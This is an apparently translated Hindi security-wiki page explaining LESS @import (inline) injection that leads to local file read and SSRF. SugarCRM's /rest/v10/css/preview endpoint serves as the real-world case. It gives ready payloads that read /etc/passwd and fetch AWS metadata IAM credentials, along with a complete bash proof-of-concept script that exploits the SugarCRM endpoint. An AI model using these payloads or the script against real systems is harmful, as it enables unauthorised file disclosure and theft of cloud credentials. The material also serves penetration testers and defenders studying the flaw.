LESS Code Injection के परिणामस्वरूप SSRF & Local File Read

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो variables, mixins, functions और शक्तिशाली @import directive जोड़ता है। कंपाइलेशन के दौरान LESS engine @import में संदर्भित resources को fetch करेगा और जब (inline) विकल्प उपयोग किया जाता है तो उनके contents को resulting CSS में embed (“inline”) कर देगा।

जब कोई application user-controlled input को उस string में जोड़ता है जिसे बाद में LESS compiler द्वारा पार्स किया जाता है, तो एक attacker arbitrary LESS code inject कर सकता है। @import (inline) का दुरुपयोग करके attacker सर्वर को निम्न retrieve करने के लिए मजबूर कर सकता है:

  • Local files via the file:// protocol (information disclosure / Local File Inclusion).
  • Remote resources on internal networks or cloud metadata services (SSRF).

यह technique वास्तविक दुनिया के उत्पादों में देखी जा चुकी है, जैसे SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

शोषण

  1. उस parameter की पहचान करें जो सीधे एक stylesheet string में embedded है और जिसे LESS engine द्वारा प्रोसेस किया जाता है (उदा. ?lm= in SugarCRM)।
  2. वर्तमान statement को close करें और नए directives inject करें। सबसे सामान्य primitives हैं:
  • ; – पिछले declaration को terminate करता है।
  • } – पिछले block को close करता है (यदि आवश्यक हो)।
  1. Arbitrary resources पढ़ने के लिए @import (inline) '<URL>'; का उपयोग करें।
  2. वैकल्पिक रूप से import के बाद fetched content को compiled CSS से निकालना आसान बनाने के लिए एक marker (data: URI) inject करें।

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd की सामग्री HTTP response में @@END@@ मार्कर से ठीक पहले दिखाई देगी।

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

स्वचालित PoC (SugarCRM उदाहरण)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

वास्तविक दुनिया के मामले

उत्पादकमज़ोर Endpointप्रभाव
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=अनप्रमाणित SSRF और स्थानीय फ़ाइल पढ़ना

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें